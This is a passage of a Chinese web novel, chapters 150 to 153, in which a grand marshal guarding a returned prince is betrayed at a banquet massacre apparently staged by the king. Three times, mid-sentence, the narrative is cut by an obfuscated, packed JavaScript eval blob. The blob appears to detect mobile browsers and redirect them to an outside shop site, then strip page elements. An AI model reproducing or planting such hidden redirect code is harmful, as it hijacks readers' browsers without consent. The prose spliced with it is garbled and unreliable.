姜雨在一旁欣慰地笑,这个瘦弱的、却颇有先王风范的男人美美喝着他的茶,像是有什么喜事也发生在他自己身上一般。 闻人空烛在一旁,也一边摸着自己蓄长的胡子,一边欣慰地点头。 就这么靠了一会,倪宝娇动了动,从闻人佐的怀里挣脱出来,她脸颊泛红,像是有些不习惯在这么多面前和自己的丈夫亲热,说道:“我去看看小芹,我刚才……有些吓到她了。” “好。”闻人佐没多说什么,应道。 倪宝娇走了,闻人空烛也跟着一起去看闻人芹。前厅只剩下两人,姜雨拍着自己的椅子扶手,叹道:“哎呀,得亏消息传得快,我听到了,当机立断从妓院赶过来,不然,今天的事指不定会发展成什么样呢。” 闻人佐盯着姜雨,迟疑又在他的心里攀上来,促使他开口道:“殿下,我还是认为——” “嘘。”姜雨打断了闻人佐,“佐叔,你要说什么,我已经听了太多遍了。好了,现在生米已经煮成熟饭,那么多人都知道我还活着,这消息恐怕已经传开了,想要把它兜住,只怕是不可能了。” “您答应过,在解决闵派之前不会离开妓院。”闻人佐强调他们的诺言道。 “那你要我对今天的事熟视无睹吗?”姜雨摊开双双手,一副无可奈何的模样道,“然后让叔母依然活在折磨之中,一直也不知道你去妓院实际是因为什么。要是那样,不需要哪个刺客来刺杀我,我会因为自责而死。” 闻人佐沉默。他不记得自己有没有对谁提过,姜雨在某些方面和他的二哥姜昆维很像,他们都是感情丰富的那一类人。 姜雨叹息一声,感慨道:“五年了,虽然一直在姐姐们那里接受外界的消息,但是,自己亲眼出来看,还是不一样。” 姜雨起身,在闻人佐家的厅堂里巡视了一番,像是对所有事物都很感兴趣,转了好几圈都停不下来。 闻人佐见他这副模样,心想,这五年,应该是把这位亲王给憋坏了,任谁在一个地方待久了,都会觉得烦闷。 到了这个时候,再去劝说姜雨已然无济于事。就像他自己说的,先王五子还活着的消息,已经瞒不住了,那些观望了整场闹剧的人,毫无疑问会将姜雨还活着的消息散布出去,想要阻止已是枉然。 那么,自己的职责便只剩下护卫他。闻人佐想道。既然已经没有办法阻止消息的传播,那么起码,他应该更加警惕起来,在为姜家杜绝所有后患之前,他沉重的负担依旧不能卸下。 姜雨几乎把闻人佐的府邸翻了个底朝天,又去找闻人芹玩了好一阵子,终于是累了,缠着闻人佐说:“佐叔,我饿了,听到消息之后的时候院里刚要开饭,我一口都没吃,就飞奔出来了。你这有什么吃的东西没?” 闻人佐道:“我叫侍者去准备一些。” “随便什么都行,能填肚子就好,我不挑。”姜雨道。 闻人佐暂时离开,去后院找厨子吩咐做些热菜来。就在他离开的这短短须臾,前庭传来了一阵嘈杂声,那声音听上去像是马蹄声。 闻人佐以为又有人来捣乱了,赶忙跑去前庭。然而,等他抵达了那里,却是不由僵住了脚步,他看到了一辆象征着王权的马车停在府邸的门口。那属于谁,他再清楚不过。 车里一定坐着姜昆维,而姜昆维之所以会来他的府邸,恐怕只有一个原因。 姜雨。 闻人佐走过去,正巧,姜昆维正从马车里跳下来。摄文王的表情相当急切,像是非常想要见到什么人一般。 姜昆维看到了迎上前来的闻人佐,急迫地向他问道:“闻人,我听说我的王弟还活着,这是真的假的!?” 闻人佐恭敬地向他低头,说道:“是的,陛下。殿下还活着。” 姜昆维瞪大了眼睛,扑上来,热切地摇晃着闻人佐的肩膀。他们似乎都忘了,摄文王和大元帅上一次的会面,有一个不欢而散的结局。 “他在哪?快带我去见他!” 还未等闻人佐说上些什么,姜雨的声音便从前厅的门口传来,“王兄?是你吗?” 姜昆维抬头,与自己的王弟对上了视线,他几乎是颤抖地吐出了一口气,像是惊讶,又像是激动,“王弟,真的是你!” 他脚下生风,飞快地跑到了姜雨的面前,而姜雨也朝他奔来,两个金发的王室相见,互相捉着彼此的手臂,难以置信一般盯着彼此。对视片刻,两个兄弟拥在一起,像是大难之后,幸存者之间的惺惺相惜。 姜昆维放开了姜雨——这个和他相差了几近二十岁的弟弟——他们两人的身高也相去甚远,姜昆维遗传了他父母的身高,但是姜雨则不然,因为五年前的创伤,身体停止了发育,导致他只有十岁出头的孩子那么高。 姜昆维的眼睛有些红肿,这个情感充沛的摄文王因为重逢而激动地落泪,“我以为早就失去你了,王弟,让我再多看看你。” 姜雨仰着头,看他的王兄,眼神中满是怀念,“王兄,五年不见了……” “是啊,已经五年了。”姜昆维说,他和姜雨拉开了距离,又像一开始那样,牢牢地握着他的手肘,像牢不可分的孪生兄弟一般,“这五年来,你究竟在哪?” “我在妓院。” “妓院?”姜昆维不解。 “当年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13552347|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是大元帅救了我,因为刺客联盟还没有剿灭,他担心我的安危,所以一直把我藏在那里。”姜雨道。 听到这里,姜昆维猛然回过头来,盯着一旁的闻人佐,“闻人,这件事,我怎么从来不知道……?” 闻人佐认错一般把头低下去,的确,这些年,是他有意隐瞒姜雨的行踪。刺客联盟在三年前才被剿灭,到现在闵派还在活跃着,如果让两个姜家人暴露在大庭广众之下,他根本顾不过来。而且,告诉姜昆维的话,他怕这个容易激动的王会按捺不住想要见亲人,那样就太容易将姜雨暴露了。 姜雨唤了一声姜昆维,将他的注意力吸引回来,“王兄,是我不让大元帅说。我怕万一被恶人知道了我在这里,那么我会再次遭到袭击。那样的重创,我害怕了,真的不想再体验第二次,我只想躲着。” 姜昆维怜惜地看着自己的五弟,说道:“王弟,惨剧发生到现在,你受苦了。” 姜雨:“王兄何尝不是如此。” 姜昆维叹了口气,“我的事就不提了,没什么好说的,这不,现在还活生生站在这里,也没什么可怕的。” 年轻的亲王看向闻人佐,说道:“我也要正式向佐叔道谢,这些年,若不是你时刻惦记姜家,为姜家除去隐患,我们可能会遭遇更多的凶险。” “是啊,大元帅为我们付出了很多。”姜昆维也投来视线,只是,那视线十分地复杂。盯着这么看了片刻,姜昆维错开了视线,拦着姜雨的肩,将他往马车上带,“来来,事不宜迟,让我们为我王弟的回归接风洗尘!” 路过闻人佐的时候,姜昆维停了下来,他伸出一只手,拍了拍他的肩。 “闻人佐。”姜昆维如是说,他只是念大元帅的名字,用一种闻人佐无法理解的视线。简简单单一个姓名,却那么沉重、复杂,涵盖了太多的内容,就像他投来的视线一样。 闻人佐想,自己依然不能理解眼前的摄文王,如果对方什么都不说,他就是没办法像对方期待的那样,直接领悟对方话语中的含义。 说他迟钝也好,不懂人心也罢,他的确不明白。 姜昆维的视线移走,浅浅地叹息一声,对大元帅道:“……离开戈首之后,我回去认真思考了一番。杜光欧的事,你不用管了。你想做什么——想解决闵派,还是想事成之后隐退,随你。” “陛下……”闻人佐不知对方的体谅从何而起,他以为自己会受到更严重的处罚,但是没有,这让他有些受宠若惊。 姜昆维带着姜雨继续往马车走,潇洒的声音随之而来,“谁让我的大元帅那么能干,你说是吧,王弟。人家难得有自己的想法,我也要顺应一次才是,不然显得我多无情啊。” 姜雨被姜昆维搂着脖子,踉踉跄跄往前走,“王兄,你说什么,我不明白……” “没什么,就是说,我这个人啊,是拿那些倔脾气一点办法也没有!王弟,你可千万别变成那样。” 姜家兄弟走远了,闻人佐这才反应过来姜昆维应允了他什么。他应允了他自由,可以按照自己的想法去做任何事。 闻人佐盯着姜昆维,朝他恭敬地颔首,即便他知道,他的王并不能看见。 151. 乱1 两个王室一同行动,处于安全的考虑,闻人佐不敢远离半步。他转头和侍者交代说:自己要出去一趟,让倪宝娇好好休息,多照顾照顾受到惊吓的闻人芹,而给姜雨的饭菜也不必准备了。 安排好这些,他离开了府邸。 随后,一伙人浩浩荡荡离开了元帅府,向王庭内部进发。 姜昆维很喜欢突如其来的宴会,像是为了宴会而生一般,只要有契机,他就不会放弃这样一个机会——将宴会厅装扮得金碧辉煌,点上平民一辈子也用不起的蜡烛,将室内的温度烘得的不需要穿任何保暖的衣物。 而从四方而来的大臣则承担起撑场面的责任,只有当姜昆维想起来的时候,会点他们几句,和他们随意地聊聊天。而大多数时候,他们只需要坐在自己的位置上,看看表演,吃吃自己的食物,让摄文王尽兴,他们的职责也就结束了。 闻人佐没少参加这样的宴会,一方面是出于保护姜昆维的目的,另一方面,姜昆维也总是很喜欢有什么事就叫上他,哪怕只是在那里坐着、什么都不说也行。 但是这回不同,这回,他们要为之设宴的,是五年后重新归来的姜雨。 决定突然,有太多内容需要准备。往常总要隔天才能备齐,但姜昆维明显已经等不及,他迫不及待要让所有人都知道,他亲爱的王弟已经回归了王庭,而他们兄弟二人的集结,将是摄文欣欣向荣的预兆。 他们来到了主宴楼,这里其他所有活动都停了,侍者们忙前忙后准备着,不敢有一刻停歇。 两个身份尊贵的人在主宴楼集结,闻人佐也不敢怠慢,传令叫了自己的亲卫过来,守在楼栋的外围。 在等待的过程中,姜昆维和姜雨先去了主宴楼三层的等待室,两人在里面聊天,交换他们这么多年的经过。 闻人佐就把守在门口,从下午守到黄昏,又从黄昏守到黑夜。终于,宴会厅准备得差不多,两人也从房间里出来了。 “……冷,即使是我们的设备也难以抵御。”姜昆维的前半句话模糊不清,但是随着大门的敞开,后半句话一字不落地传来出来。 与之对话的,是神情严肃的姜雨,“看来,我们的确没有太多的办法对抗极端的天气……” 两人走出来,看到门口的闻人佐,姜雨眉飞色舞,一下子就没有了刚才的凝重,“佐叔,走吧,估计时间差不多了,咱们吃饭去!” “你小子,光想着吃可不成,你是要发言的,老臣们都指望着突然起死回生的你说点什么。”姜昆维道。 “知道,王兄,你教我的话术,我都记得呢。”姜雨道。 两兄弟朝着宴会厅的方向走,而闻人佐跟在后面。 姜昆维侧着头,模样颇有种家长的神态,不过,他大了姜雨二十岁左右,几乎可以说是差了一个辈分,以训斥的口吻倒是有理有据,“到时候你可得用真情实感,可别念稿,伤了大臣们的心!” 姜雨露出一副颇为震惊的模样,“想不到你还挺爱护手底下的人。” 姜昆维佯装怒斥,“这话是什么意思?我有对谁不好过吗,啊?” 两人在前面一言一语,闻人佐就跟在他们身后。 走着走着,突然,一种没由来的心悸攉住了他,像是在他的头顶盖住了一口老钟,将整个人笼罩在了原地。 闻人佐警惕地观察周围,没有发觉任何的异样。 视线回到了两个兄弟的背后,金灿灿的发似乎反射了所有光亮,他们所到之处,没有一片阴影存在。 可就是看着这两人的背影,一种莫名的恐惧从闻人佐的心底升了起来。 为什么? 为什么他会觉得如此害怕? 突然,一段回忆闪现进了他的脑海。 那也是这样一个漆黑的夜,姜家人围坐在一起,因为蜡烛烧光了,先王便让他去取一些,那是姜阳特意留的蜡,能在夜色中燃烧出彩色的光亮。 东西放在先王的珍宝阁里,普通侍者无权接近,先王的侍佣都在忙着准备食物,或许就是因为这样,他才派了闻人佐前往。 闻人佐去了,取了那彩色的蜡烛回来。 他推开居室的门,月光洒在地上,一股死亡的气息朝他扑面而来。 最先看到的是倒在血泊之中的姜雨,他碧蓝的眼睛没有焦距,胸膛有一道巨大的豁口,白色的肋骨凸了出来,心脏在其中微弱地跳动。 姜雨的手里握着另一只手,那是一条没有主人的胳膊,它细长,惨白,手掌上戴着三只华美的戒指。那是大公主姜姝的指环。 再向窗口的方向,他看到王的头颅。它被放在椅子上,脖颈之下的躯体不见踪迹,从断处流出的血浸透了座椅,将那原本便是红色的椅垫染得深黑一片。 居室中,那唯一的窗户上,立着一个瘦弱的背影。那人看上去年纪很小,只有十四五岁,一头肮脏的暗金色的短发,辨别不清是男是女,身上有着斑驳的血痕,手臂上显现出黑色的蛇纹。回过头来,眼睛是浅色的淡金,里面有一圈黑边,显出一种非人的特质。 那年幼之人的手中抓着一个男人的衣领,那是浑身是血的姜昆维,他腹部有一个巨大的黑色豁口,已然不省人事。 那个赤|裸的年轻刺客手中发力,正要将姜昆维提起来,似乎就打算这么把他扔出窗外。 而那窗外,是十层楼的高空。 闻人佐想起自己是如何冲进去,在那被血液浸透的地毯上奔跑,抓住了浑身被血包裹的姜昆维。 而等他抬起头去,找那个刺客的身影,却发现对方已经消失在了窗台。 顺着窗台向外看,也找不到任何的踪迹。 那之后发生了什么,闻人佐的记忆是模糊的。他只知道最后的结论,在这间房间里,人们发现了先王姜阳、王后百里茗、及两人子嗣姜恩重、姜姝、姜安兰的残破尸体。姜昆维活了下来,姜雨对外宣称救治失败。一名刺客逃逸,而在尸堆之中,另有侍者三名,护卫五名,刺客四名,均已死亡。 那天的景象,已经很久没有出现在他的脑海里。他记住了几个冰冷的数字、应该守护的目标,以及该去破坏的组织名,除此之外,他的大脑像是出于某种保护的本能,将其他记忆全部埋藏了。 但是,不知为何,此刻,在他见到姜昆维和姜雨并排行走在这廊道之中时,那时的记忆会突然苏醒,几乎是在攻击他一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13552348|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 般,让他僵在原地,无法行动。 “唔……”闻人佐捂着自己的额头,有些痛苦地低下头去。 姜雨觉察到了他的异常,回过头,快步凑过来问道:“佐叔,你怎么了?” 闻人佐不能说自己看到了什么,只是摇摇头,道:“没什么,只是有点头疼,可能是……今天发生了太多事了。” 姜雨似乎把他的话当真了,于是安慰道:“没事,家里的事不是都解决了吗?没关系的。” 姜昆维听到了他们的谈话,也过来问道,“怎么了?闻人,你家里有什么事?” 闻人佐没来得及回答,姜雨替他说道:“今天有人去佐叔的家里闹事。因为佐叔经常去妓院照看我,有些人就借这件事,说他们家的坏话。” 姜昆维听闻,一脸若有所思的模样,他看了闻人佐一阵,大手一挥道:“闻人,你回去休息。” 闻人佐站直了,尽力表示自己已经没有问题,“陛下,我没事。” “我让你回去。” 闻人佐坚持,“我得护卫两位。” 姜昆维不满地啧了一声,“让你走你就走,这里有金卫在就够了。” “可是,陛下,您二位都在这里,我深怕——” 姜昆维打断他,“你当金卫都是摆设吗,要是本职工作他们还不如一个元帅,那我堂堂摄文王的护卫也太不像话了。而且要你跟在我身边,也从来不是为了让你护卫。” 见摄文王又开始气恼,闻人佐不再和对方争论了。 “回家,闻人。”姜昆维如此,边说边转过身,视线从肩膀上投过来,“这是命令。” “回去吧,佐叔。”姜雨也说道,抬高了手臂,拍了拍他的背,“回去好好陪陪叔母。” 那之后,小小的插曲就此过去,两个金发的人大摇大摆地离去,留闻人佐一个人立在原地。 闻人佐犹豫了一阵,虽然摄文王让他回去,但他不可能这么做。反正这也不是第一次违抗对方的命令了,这一次闻人佐依然有这个打算。 他没有走远,在主宴楼里徘徊了一阵,各部大臣正在陆续进场,他便待在一层的一个拐角,谨慎地打量着这些前来参宴的人。 “呦,这不是大元帅吗?”突然,一个声音传来。 闻人佐望过去,发现那是束延将军,是前一阵的军事会议上几度提出反对意见的那个。对方站在主宴厅的大门口,一身戎装,好整以暇地看着角落里的闻人佐。 “在那待着干什么呢,难道摄文王不欢迎您进门吗?” 闻人佐本来只想低调地在一旁观察众人,但无奈被揪了出来,他只好走到光亮之下,“束延将军,听说陛下最终决定让你率主力部队前往南陆抗击黎军,恭喜。” 束延将军得意地笑起来,似乎闻人佐这番话让他感觉良好,“主宴厅外面是你的人?” 闻人佐想起来他布置在楼宇外面的亲卫,回答,“是。” 束延将军耷拉着眉毛,眼神中有嘲笑的意味,“那些不会是当下你拥有的全部人手了吧。” 闻人佐反应了过来,这个和姜昆维有着血脉关系的将军和他搭话,大抵是来嘲笑他的。 152. 乱2 他们两人身处主宴楼的入口,此刻正有络绎不绝的大臣穿行,有人听见了他们两人的谈话,低声嗤笑着大元帅的落魄。他们的气焰是那样的嚣张,仿佛当他本人不存在一样。 虽然一路走来针对他的人有很多,但是闻人佐很少当面受到这么大的恶意。他不知道今天是怎么了,这次来参加接风宴的大臣似乎都对他态度不善,他在他们当中看到了不少五年间一直支持革除他元帅职务的人,甚至连那些一度将他推上处刑架上的元老都来了。 束延将军好整以暇地盯着闻人佐,说道:“不如把他们都遣散了吧,我的人已经在外面把守,您那点人看着怪可怜的。” 闻人佐顺着窗外看去,的确,束延将军的人已经在楼宇外面排布整齐,将这个建筑围得水泄不通,看上去无懈可击。 而他的亲卫则被挤到了一个无足轻重的角落,闻人佐没有和对方起争执的想法,既然束延将军的人手已经足够,那么也没必要让自己的人浪费体力。 于是乎,他近乎是在束延将军嘲讽的视线之中,离开了楼宇,遣散了自己的人,然后又默默地回来。将军像是为了看好戏一般,依然在门口候着,看到闻人佐回来了,他向他问道:“元帅不跟手下的人一起走吗?” 闻人佐没有理会他,而是往后厨的方向走去。 他不在乎这些细小的摩擦,当下最重要的事情是确保接风宴不要出什么乱子。 还记得那个血皑的王室第一天到来的时候,在那场宴会上发生的事情。那种投毒事件不能让它第二次发生了。 他来到这个繁忙的后厨。里面的厨子换了一批,已经不是之前那波人了。人们在锅铲和浓重的烟气之间忙碌着,新出炉的菜品正在一道一道往宴会厅的方向送去。 闻人佐便在这个和他的身份格格不入的地方待了很长一段时间,他严谨地盯着每一道菜品,不放过每一种没见过的食材,活脱脱成了一个监管者。 在严肃地盯着制菜过程的途中,他听到了一阵咚咚声。往声源的方向看去,那里是一扇窗户,有一个黑影正在外面敲窗。 闻人佐疑惑地走过去,擦净了玻璃上的雾,看清了对面的人。 那是一个紫衣服的女人,是今早跟在姜雨身边,来他的府邸救场,一人单挑了所有地痞的那个。他记得她的名字叫芋伶。 闻人佐把窗户打开,询问对方发生了什么。 芋伶探头进来,左右看了两眼,附身上来,在他的耳边低声说道:“小心点,闵派在王庭里。” 闻人佐听闻,大惊,“怎么回事?” 上一次他们的踪迹还在西边的孤儿院,怎么会这么快就出现在了王庭? 为什么偏偏是在这个时间点有了动向,难不成是因为姜雨突然出现,这些闵派的刺客又盯上了姜家的后代? “旭雨死了。”女人说。 闻人佐眨眨眼,回想了一番这个名字的主人。他突然想起来,那是跟着他一起去孤儿院的女人,是逝露阁的成员,几天前就是她把闵派出现的消息带到府邸,告知了他。 ……她死了? 他们上一次分别是在孤儿院,女人说要跟在王后丝黛拉身边,确保她的安危,便和那个叫小雀的小跟班留了下来。 闻人佐惊讶道:“怎么回事,她不是跟着王后吗?” 芋伶垂眸,说道:“最开始是这样。后来王后回了王庭,旭雨说再送王后一段,就跟进来了。小雀在外面等着,可迟迟没有等她出来。时间太长,我们就进去找她,却在西殿背后的弃物堆里发现了她的尸体。她双目被划伤,胸前一击穿心,是闵派的手法。” 闻人佐心里一惊。 西殿…… 那地方和他们所在主宴楼只隔着一条马车道! 闻人佐脸色煞白,立刻对对方说道:“叫你们的人潜进王庭,速度快!” 芋伶的身影后撤,一瞬消失在了夜色之中。 闻人佐快步离开了后厨。现在没时间去把自己的亲卫叫回来了,接风宴必须终止,现在就得去告诉陛下这件事! 闻人佐火速赶到了宴会厅门口,只见一群身着轻纱的舞女站在门前,正打算进门,她们个个身材高挑,肤如白雪,可闻人佐无暇欣赏这些美貌。 他挤开人群,抢在所有人之前贸然进门,一心想的都是两个姜家人的安危。 “接下来进门的是来自异域的舞女——” 大门被推开,他冲了进去,一时间,蜡烛和壁炉的明亮火光让他有些睁不开眼。 “好!!” 叫好声响起来,可没多久就稀稀落落地停了。人们都是一副惊掉了下巴的样子,看着闯门入室的大元帅。 “这是……元帅?” “大元帅要跳舞吗?” 不光大臣们愣了,元老们也摸不着头脑,王座上的人更是一副大惑不解的模样。 闻人佐环视了一圈厅内,接风宴似乎正如火如荼地进行着,大臣元老们都其乐融融,金卫在暗中守护未见异常,由此,他判断这里应该还没什么事。 场地中央是一群舞剑的剑客,上一场表演似乎刚刚结束。闻人佐正要往王座的方向走,这群剑客便鱼贯而来,一下子把他困在其中,这时候,舞女也进门了,两支队伍相互交错,是经过排练的乱中有序,只有闻人佐在其中混乱地找不到方向。 厅门砰一声关上,下一场演出开始,剑客和舞女都留在了场上。 一时间,叫好声和鼓掌声充斥着宴会厅,闻人佐身处其中,眼花缭乱,但他还没忘了自己应该做什么,视线三番五次向摄文王的方向投去,在人群的缝隙间寻找他的身影。 他往王座的方向走,然而,没走两步,一个舞女跳过来,挡在他眼前。 闻人佐想绕过她,余光却见有什么东西朝他刺来。几乎是下意识地,他抽剑出鞘,叮一声,一截剑身挡住了女人手里的暗器。 “有刺客!!”闻人佐蓦然大喊。对方的身影一晃,融进了跃动的舞女之中。闻人佐没追,他持长剑往王座的方向奔袭,不管周身发生了什么,一心只想抵达他应守护的人身边。 剥开一层又一层的碍事者,他终于来到了王座之前,尊位上有三个人,分别是姜昆维、姜雨、丝黛拉。此刻前两者正惊讶地盯着他,像是不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13552349|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发生了什么,王后则依然是一副平静的模样。 闻人佐来到他们身前,回身背对着几人,“几位由臣护卫!” “闻人……”姜昆维喊他,似乎想要说什么。但闻人佐没回头,眼前的景象让他凝滞在原地。 惨叫声这才进入他紧张的大脑,他看到大臣们匍匐在地,酒盏盈满了溅出来的鲜血,元老们求饶着,往大门的方向逃窜,可那门严丝合缝地关着,外面像被什么东西抵住了,任谁过去也推不开。 舞女翩跹起舞,剑客潇洒舞剑,一帘血幕在他们手中徐徐展开,悲鸣络绎不绝。 难道这些剑客舞女全都是闵派的人吗?!闻人佐内心惊讶地想着。 “闻人。” 一个剑客向王座冲过来,闻人佐立刻抬剑抵御,拦住了对方的攻势。 僵持之中,大元帅突然觉得有些不对劲。他目光投向会场之上,终于了发现了是哪里不对。 为什么,摄文王的金卫只是站在边缘里看着大臣元老被屠杀,却一动不动……? 他边思索着,另一边手下发力,轻松带出一分剑豪的气势,甚至没看对方,剑尖一甩,身前的刺客瞬间断气。 闻人佐盯着那些金卫,脑海里十足地不解,此等危亡之际,摄文王的性命受到了如此大的威胁,可他们到底在干什么? 他冲那些金卫道:“你们为什么——” “闻人佐!” 姜昆维的喊声从背后传来。 闻人佐蓦然回过头去,只见姜昆维坐在王座上,正往一只热茶的杯口吹气。 在王座的另一边,姜雨无虞地坐在座位上。只是,年轻亲王的面色惊恐,一把长刀架在他的脖颈上,刀柄握在一个金卫的手中。金卫站在姜雨的身后,威胁似的控制着这个亲王。 闻人佐瞪大了眼睛,难以理解地看着这一切。 视野里,他看到摄文王皱眉,脸色不太好,就像品到了苦茶,神色中有隐晦的愠怒。 片刻,姜昆维放下茶杯,没看闻人佐,只是问他,“你为什么要回来?” 背后的惨叫仍在继续,那些惨绝人寰的叫声阻塞在脑海里,让人神志不清。闻人佐眨眨眼,不懂姜昆维话语的含义。 头脑还是优先处理能够理解画面,他看到姜雨深陷危机之中,于是便提着剑向那控制着亲王的金卫逼近。 走到一半,姜昆维拦住了他,突然握住剑柄,不让他再进一步。 “陛下?” “我来解决,把你的剑给我。” “陛下,很危险。” “松手。” 闻人佐滞愣在原地。 他的脑袋已经不转了,从昨天开始,他就一直没能睡个好觉。 先是角斗场戈首上半跪不起的一个下午,然后是针对入境名单的连夜核对,再是夫人闹自杀,之后又是姜雨贸然暴露身份,再之后是从芋伶口中得知闵派的动向,最终是刚才在宴会厅上接二连三的冲击。 每件事都使他神经紧绷,精疲力竭。 闻人佐盯着自己效忠的摄文王,不禁想道—— 为什么陛下这么镇定? 153. 乱3 他的大脑已经无法给出答案。 闻人佐低下头去,看着自己的剑柄。 姜昆维说他会去解决。 回想着这么一句话,闻人佐就那么松开了手。 姜昆维拿过了大元帅的剑,视线停留在剑身上,将它从左手换到了右手。 而后,摄文王微微侧过身,左脚后撤一步,身上的挂饰轻盈地摆动。他的视线落在姜雨和金卫身上,短暂地看了一眼。 片刻之后,姜昆维收回视线,看向大厅的中央,右手把元帅的剑往远处一扔,抬手随意地指了一下闻人佐,往前走了两步,“把他给我抓起来。” 闻人佐的心脏迟缓地咯噔了一下,半天才反应过来那话是什么意思。 顿时,几个金卫快速向他包围过来,闻人佐再想反应已经来不及了。他被几个武装精良的护卫压制在地,几乎抬不起头来。 他惊疑地问:“陛下,这是干什么……!?” 姜昆维背对着他,没回答。 宴会厅内的惨叫声弱了下去,却不是因为屠杀的停止,而是已经没有几个活人可杀了。 一片血色的狭隘天地之中,一个剑客走到姜昆维的面前,那人身形修长,头顶金发,皮肤透白犹如凝雪,黑色蛇纹在皮肤上嚣张地盘踞,这所有一切都是闵派的象征。 剑客在姜昆维眼下恭敬地颔首,说道:“大臣元老都已清剿,请摄文王给我们下一步指令。” 姜昆维环视一圈血淋淋的会场,他脸上既没有喜悦也没有其他情绪,冷静得像是习惯这种场景了一般,“下一步啊……下一步,老老实实在这里待着就行。” 对面的剑客表露出疑惑,姜昆维没有进一步解释。 闻人佐看到姜昆维和那剑客交流,不由得惊讶又疑惑。 怎么会这样,陛下为什么和他们有所往来,难道他不知道那些人是闵派的刺客吗? 姜昆维朝自己的金卫挥挥手,那些一直在暗影里待命的护卫上前来,加入了这血色的序章。姜昆维没告诉他们去做什么,可金卫却像是排演好了一般,动作迅速地堵住了大门,向场地上的活人包围而去。 局势陡然一转,刚才还在肆意屠杀的剑客舞女突然调转了身份,变成了被人驱赶的牲畜,他们被人数持平的金卫包围,因武器的差异而处于劣势。金卫将他们拆成了几拨,不直接攻击,只是像畜牧一样将他们一群群围聚起来。 在没人注意的地方,宴会厅的大门打开了,一个金卫从那里急匆匆离开了厅堂,没有被任何人留意。 这时,一个有些耳生的女人声音传进闻人佐的耳中。 “等等,姜昆维,你这是在做什么!” 被金卫压制在地的大元帅勉强偏头,他看到王后丝黛拉从座位上急切地站起来,失去了她惯常的冷静。两个金卫一左一右控制住她,女人奋不顾身地挣扎,动作如此之大,以至于面纱从她的脸上掉落。 她白皙的脸庞露出来,上面是愤怒的神情,一双金色的眼眸紧盯着姜昆维,它边缘带着一圈黑色的光晕,那让王后的眼睛看上去像是野兽一般。 “这和我们说好的不一样!”丝黛拉大喊道。可她身边的金卫捂住她的嘴,让那后面的话都变成了意味不明的呜呜声。 姜昆维回过头来,看着王座周围发生的一切。他如傲世的王者,视线睥睨,在其王后、王弟、大元帅的脸上一一扫过,像在看一些物件一般,“把这三个全给我拖下去。” 他一声令下,控制着三人的金卫开始行动起来。 丝黛拉一改往日的沉静,对金卫拳打脚踢,奋力挣扎,可是双拳难敌四手,她还是被拖走了。 姜雨则沉默着,他从一开始就没怎么说话,只是神情惨白地看着这一切。金卫把他拖下去的时候,他也没怎么反抗。 另一边,闻人佐就不一样了。包围着他的金卫有四五个,原本是把他按在地上,现在接到了摄文王指令,想要把他抬起来拖走,可是大元帅一旦站起来就开始奋力挣扎,这四五个金卫根本控制不住,纠缠了半天,还是只能把他按在地上。 这时候,宴会厅的外面传来了一阵由远及近的脚步声,从它们的沉重和数量上来看,不是士兵就是带刀侍卫。 姜昆维听见了,啧了一声,看向几个压制闻人佐的金卫,下令道:“把他的嘴封上,别让人看出来他是谁!” 一瞬间,闻人佐感觉一座大山压在了他的身上,胸腔痛苦地挤压,他无法呼吸了。 宴会厅外繁重的脚步声临近了,姜昆维连忙弄乱自己的头发和华服,朝厅内那些围困着剑客舞女的金卫比了个手势,那些金卫领受了他的旨意,开始认真和包围圈中的人对峙起来。 兵戈接刃声和惨叫声再度充斥了宴会厅。 宴会厅的门被一下子撞开,一群黑压压的带刀护卫拥挤而上,领头的是束延将军。 看到他,姜昆维立刻换了一副嘴脸,往前跑了两步,却又倏然驻足,不敢接近尸群遍地的会场中央似的,畏缩地退回去了,“炎庆,救我!炎庆!” 姜昆维捂住自己的胸口,呼吸得很艰难,大口地往里吸气,却好像只进不出。 “陛下!”束延将军远远喊道。只见他身影狂袭而来,在混乱的局势中杀出了一条血路,很快来到姜昆维面前,“炎庆来迟了!” 见束延将军赶过来,姜昆维一下子没有力气了似的,踉跄两步,扶住一边的座椅,弓身低头,急促地抽气吐气。 束延将军扶着摄文王坐下来,姜昆维靠在王座的椅背上,身体软成一滩,抬手,指向大厅,颤抖地说:“把这些行刺的刺客都给我……” 束廷将军像一下子就领悟过来姜昆维的意思,转头对自己的人说:“格杀,一个不留!” 姜昆维的金卫和束延将军的带刀护卫开始了清剿,在元老大臣的血幕之上,又盖了一层新的上去。 闻人佐看着眼前的这一切,血色的夜就如同五年前一般,这令他心底某处惶惑不安。 可他已经无法思考了,身上的压制使他无法呼吸,窒息使意识逐渐消散,视野变暗,最终化为一片无边的漆黑。 他昏了过去。 不知过去多久,打了个冷颤,意识再度复燃。 